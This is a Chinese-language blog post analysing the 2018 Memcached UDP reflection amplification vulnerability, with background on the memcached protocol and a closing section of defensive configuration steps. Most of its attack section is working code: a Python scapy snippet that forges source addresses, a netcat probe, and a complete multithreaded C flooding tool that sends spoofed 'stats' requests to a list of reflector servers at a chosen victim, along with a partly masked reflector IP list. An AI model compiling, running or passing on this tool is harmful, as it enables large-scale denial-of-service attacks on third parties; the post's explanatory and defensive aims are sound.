zoukankan      html  css  js  c++  java
  • Memcached服务器UDP反射放大攻击

    1、前言

    2月28日,Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击,从而影响网络正常运行。漏洞的形成原因为Memcache 服务器UDP 协议支持的方式不安全、默认配置中将 UDP 端口暴露给外部链接。

    2、原理分析

    这个漏洞的攻击方式属于DRDOS(Distributed Reflection Denial of Service)分布式反射拒绝服务攻击。

    • DRDOS

    对于分布式还有拒绝服务都很好理解,反射的意思简单来说就是借别人的手来攻击。Memcache满足被借用的条件就可以借用Memcache的手来攻击其他主机。

    • Memcached攻击原理

    攻击者向端口11211 上的 Memcache 服务器发送小字节请求。由于 UDP 协议并未正确执行,因此 Memcache 服务器并未以类似或更小的包予以响应,而是以有时候比原始请求大数千倍的包予以响应。由于 UDP 协议即包的原始 IP 地址能轻易遭欺骗,也就是说攻击者能诱骗 Memcache 服务器将过大规模的响应包发送给另外一个 IP 地址即 DDoS 攻击的受害者的 IP 地址。这种类型的 DDoS 攻击被称为“反射型 DDoS”或“反射 DDoS”。响应数据包被放大的倍数被称为 DDoS 攻击的“放大系数”。

    3、影响范围

    • Shadon

    shadon搜索可得到约 65890个结果。

    • ZoomEye

    ZoomEye找到约 205,972 条结果

    4、基础知识

    所有放大攻击背后的想法都是一样的。攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器,不知道请求是伪造的,礼貌地准备响应。当成千上万的响应被传递给一个不知情的目标主机时,这个攻击问题就会发生。那么我们就需要了解两件事,一是Memcached如何对数据的存取,二是如何伪造IP。

    翻阅互联网文章发现一条使用NC测试自身是否存在漏洞的命令。-q1是1秒后退出,-u是指定UDP协议发送

    echo -en "x00x00x00x00x00x01x00x00stats
    " | nc -q1 -u 127.0.0.1 11211
    

    根据以上两点线索为引子搜索资料。

    Memcached

    网上的POC大多数都是用了Memcached缓存系统的几个关键命令stats、set、get 命令。查阅这几个命令的详细功能参数如下:

    set 命令

    Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。

    如果set的key已经存在,该命令可以更新该key原来所对应的数据,实现更新的作用。

    语法:

    set 命令的基本语法格式如下:

    set key flags exptime bytes [noreply] 
    value 
    

    参数说明如下:

    • key:键值 key-value 结构中的 key,用于查找缓存值。
    • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
    • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
    • bytes:在缓存中存储的字节数
    • noreply(可选): 该参数告知服务器不需要返回数据
    • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

    实例

    以下实例中我们设置:

    • key → runoob
    • flag → 0
    • exptime → 900 (以秒为单位)
    • bytes → 9 (数据存储的字节数)
    • value → memcached
    set runoob 0 900 9                          # 输入的命令
    memcached                                     # 存储的字符
    STORED                                         # 返回的结果
    
    get runoob                                     # 取出数据
    VALUE runoob 0 9
    memcached
    END
    

    输出

    如果数据设置成功,则输出:

    STORED
    

    输出信息说明:

    • STORED:保存成功后输出。
    • ERROR:在保存失败后输出。

    get 命令

    Memcached get 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。

    语法:

    get 命令的基本语法格式如下:

    get key
    

    多个 key 使用空格隔开,如下:

    get key1 key2 key3
    

    参数说明如下:

    • key:键值 key-value 结构中的 key,用于查找缓存值。

    实例

    在以下实例中,我们使用 runoob 作为 key,过期时间设置为 900 秒。

    set runoob 0 900 9
    memcached
    STORED
    get runoob
    VALUE runoob 0 9
    memcached
    END
    

    Python-网络协议库Scapy模块

    python中有个模块scapy,可以伪造源IP

    from scapy.all import *
    send(IP(src='10.0.10.10',dst="www.baidu.com")/TCP(dport=80))
    

    tcpdump抓包:sudo tcpdump host 115.239.210.27 会发现源IP有所改变。

    5、代码编写技巧

    Python版本POC(简化)

    就不发出所有利用函数了。

    def attack(vuln_host,drdos_host,port):
        send_data="get ab
    "
        #下面这句话的意思是伪造受害者向存在memcached漏洞的服务器发起UDP请求,源端口是29284,目标端口是port
        packet=scapy.all.IP(dst=vuln_host,src=drdos_host) / scapy.all.UDP(sport=29284,dport=port) / send_data
        send(packet,inter=1,count=1)
    

    C语言版本POC

    /**
    memcached-PoC
    
    memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.
    
    memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
    memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)
    
    Compile: gcc memcached.c -o memecached -pthread
    
    *Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.
    
    **/
    
    /* 
       memcache reflection script
       greeting: syn, storm, krashed, chrono, spike, niko, disliked
       Use with extreme Caution
    */
    
    #include <time.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #define MAX_PACKET_SIZE 8192
    #define PHI 0x9e3779b9
    static uint32_t Q[4096], c = 362436;
    struct list
    {
    	struct sockaddr_in data;
    	struct list *next;
    	struct list *prev;
    };
    struct list *head;
    volatile int tehport;
    volatile int limiter;
    volatile unsigned int pps;
    volatile unsigned int sleeptime = 100;
    struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
    void init_rand(uint32_t x)
    {
    	int i;
    	Q[0] = x;
    	Q[1] = x + PHI;
    	Q[2] = x + PHI + PHI;
    	for (i = 3; i < 4096; i++)
    	{
    	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    	}
    }
    uint32_t rand_cmwc(void)
    {
    	uint64_t t, a = 18782LL;
    	static uint32_t i = 4095;
    	uint32_t x, r = 0xfffffffe;
    	i = (i + 1) & 4095;
    	t = a * Q[i] + c;
    	c = (t >> 32);
    	x = t + c;
    	if (x < c) {
    	x++;
    	c++;
    	}
    	return (Q[i] = r - x);
    }
    unsigned short csum (unsigned short *buf, int nwords)
    {
    	unsigned long sum = 0;
    	for (sum = 0; nwords > 0; nwords--)
    	sum += *buf++;
    	sum = (sum >> 16) + (sum & 0xffff);
    	sum += (sum >> 16);
    	return (unsigned short)(~sum);
    }
    void setup_ip_header(struct iphdr *iph)
    {
    	iph->ihl = 5;
    	iph->version = 4;
    	iph->tos = 0;
    	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    	iph->id = htonl(54321);
    	iph->frag_off = 0;
    	iph->ttl = MAXTTL;
    	iph->protocol = IPPROTO_UDP;
    	iph->check = 0;
    	iph->saddr = inet_addr("192.168.3.100");
    }
    void setup_udp_header(struct udphdr *udph)
    {
    	udph->source = htons(5678);
    	udph->dest = htons(11211);
    	udph->check = 0;
    	memcpy((void *)udph + sizeof(struct udphdr), "x00x01x00x00x00x01x00x00stats
    ", 15); // 使用 stats 命令来输出 Memcached 服务信息
    	udph->len=htons(sizeof(struct udphdr) + 15);
    }
    // 主要攻击函数-线程回调函数
    void *flood(void *par1)
    {
    	struct thread_data *td = (struct thread_data *)par1;
    	char datagram[MAX_PACKET_SIZE];
    	struct iphdr *iph = (struct iphdr *)datagram;
    	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    	struct sockaddr_in sin = td->sin;
    	struct  list *list_node = td->list_node;
    	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    	if(s < 0){
    	fprintf(stderr, "Could not open raw socket.
    ");
    	exit(-1);
    	}
    	init_rand(time(NULL));
    	memset(datagram, 0, MAX_PACKET_SIZE);
    	setup_ip_header(iph);
    	setup_udp_header(udph);
    	udph->source = htons(rand() % 65535 - 1026);
    	iph->saddr = sin.sin_addr.s_addr;
    	iph->daddr = list_node->data.sin_addr.s_addr;
    	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    	int tmp = 1;
    	const int *val = &tmp;
    	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!
    ");
    	exit(-1);
    	}
    	init_rand(time(NULL));
    	register unsigned int i;
    	i = 0;
    	while(1){
    		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));   //UDP发送数据
    		list_node = list_node->next;
    		iph->daddr = list_node->data.sin_addr.s_addr;
    		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
    		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    		
    		pps++;
    		if(i >= limiter)
    		{
    			i = 0;
    			usleep(sleeptime);
    		}
    		i++;
    	}
    }
    int main(int argc, char *argv[ ])
    {
            // 参数小于6,添加说明
    	if(argc < 6){
    	fprintf(stderr, "Invalid parameters!
    ");
    	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>
    ", argv[0]);
    		exit(-1);
    	}
    	srand(time(NULL));   //生成随机数种子
    	int i = 0;
    	head = NULL;
    	fprintf(stdout, "Setting up sockets...
    ");
    	int max_len = 128;
    	char *buffer = (char *) malloc(max_len);
    	buffer = memset(buffer, 0x00, max_len);
    	int num_threads = atoi(argv[4]);    // 线程数
    	int maxpps = atoi(argv[5]);             // 开启PPS 速率
    	limiter = 0;
    	pps = 0;
    	int multiplier = 20;
    	FILE *list_fd = fopen(argv[3],  "r"); // 读取文件中的IP地址
    	while (fgets(buffer, max_len, list_fd) != NULL) {
    		if ((buffer[strlen(buffer) - 1] == '
    ') ||
    				(buffer[strlen(buffer) - 1] == '
    ')) {
    			buffer[strlen(buffer) - 1] = 0x00;
    			if(head == NULL)
    			{
    				head = (struct list *)malloc(sizeof(struct list));
    				bzero(&head->data, sizeof(head->data));
    				head->data.sin_addr.s_addr=inet_addr(buffer);     // 漏洞IP地址填写
    				head->next = head;
    				head->prev = head;
    			} else {
    				struct list *new_node = (struct list *)malloc(sizeof(struct list));
    				memset(new_node, 0x00, sizeof(struct list));
    				new_node->data.sin_addr.s_addr=inet_addr(buffer);
    				new_node->prev = head;
    				new_node->next = head->next;
    				head->next = new_node;
    			}
    			i++;
    		} else {
    			continue;
    		}
    	}
    	struct list *current = head->next;
    	pthread_t thread[num_threads];
    	struct sockaddr_in sin;
    	sin.sin_family = AF_INET;
    	sin.sin_addr.s_addr = inet_addr(argv[1]);    //受攻击主机填写
    	struct thread_data td[num_threads];
    	for(i = 0;i<num_threads;i++){
    		td[i].thread_id = i;
    		td[i].sin= sin; 
    		td[i].list_node = current;                        //存储漏洞IP
    		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    	}
    	fprintf(stdout, "Starting flood...
    ");
    	for(i = 0;i<(atoi(argv[6])*multiplier);i++)      // 时间控制
    	{
    		usleep((1000/multiplier)*1000);
    		if((pps*multiplier) > maxpps)
    		{
    			if(1 > limiter)
    			{
    				sleeptime+=100;
    			} else {
    				limiter--;
    			}
    		} else {
    			limiter++;
    			if(sleeptime > 25)
    			{
    				sleeptime-=25;
    			} else {
    				sleeptime = 0;
    			}
    		}
    		pps = 0;
    	}
    	return 0;
    }
    

    - test.txt 文件内容

    // memcached AMP list (Approx 17,000 hosts) DATE: 03-06-2018 - Remove this top line for use with most testing tools.
    85.62.36.xx
    112.78.10.xx
    202.105.247.xx
    121.40.71.xx
    101.201.199.xx
    129.144.63.xx
    61.141.124.xx
    103.100.209.xx
    113.96.195.xx
    47.90.76.xx
    83.164.193.xx
    74.122.193.xx
    120.76.207.xx
    120.24.69.xx
    129.144.61.xx
    105.212.115.xx
    130.226.11.xx
    179.108.253.xx
    203.11.105.xx
    

    6、防御策略

    • 1 设置访问控制规则

    例如,在Linux环境中运行命令iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT,在iptables中添加此规则只允许192.168.0.2这个IP对11211端口进行访问。

    • 2 绑定监听IP

    如果Memcached没有在公网开放的必要,可在Memcached启动时指定绑定的IP地址为 127.0.0.1。例如,在Linux环境中运行以下命令:
    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

    • 3 使用最小化权限账号运行Memcached服务

    使用普通权限账号运行,指定Memcached用户。例如,在Linux环境中运行以下命令来运行Memcached:
    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

    • 4 启用认证功能

    Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。SASL认证详细配置手册

    • 5 修改默认端口

    修改默认11211监听端口为11222端口。在Linux环境中运行以下命令:
    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

    7、参考

    【Memcached Servers Can Be Abused for Insanely Massive DDoS Attacks】
    https://www.bleepingcomputer.com/news/security/memcache-servers-can-be-abused-for-insanely-massive-ddos-attacks/
    【Memcache服务器可用于发动超大规模的DDoS攻击,影响严重】
    https://www.anquanke.com/post/id/99241
    【Memcrashed - Major amplification attacks from UDP port 11211】
    https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
    【Memcached之反射拒绝服务攻击技术原理】
    http://blog.topsec.com.cn/ad_lab/memcached之反射拒绝服务攻击技术原理/?from=timeline
    【Memcached-PoC memcache reflection script】
    https://pastebin.com/raw/ZiUeinae
    【Memcached set 命令】
    http://www.runoob.com/memcached/memcached-set-data.html
    【How to send only one UDP packet with netcat】
    https://stackoverflow.com/questions/9696129/how-to-send-only-one-udp-packet-with-netcat

  • 相关阅读:
    Windows 8.1 应用开发文章汇总
    演绎事件委托
    Azure China
    Orchard 刨析:导航篇
    为ASP.NET MVC应用程序使用高级功能
    兼容Mono的下一代云环境Web开发框架ASP.NET vNext
    商品导航菜单
    纳斯达克对经济泡沫的定义是:当交易价格远大于内在价值的时候,就称为泡沫(转)
    当一个低级问题,第一次解决时,你会感受到成就;第二次解决时,你感受到责任,第三次解决时,你可能更多的感受到无力(转)
    互联网组织的未来:剖析GitHub员工的任性之源(转)
  • 原文地址:https://www.cnblogs.com/17bdw/p/8608562.html
Copyright © 2011-2022 走看看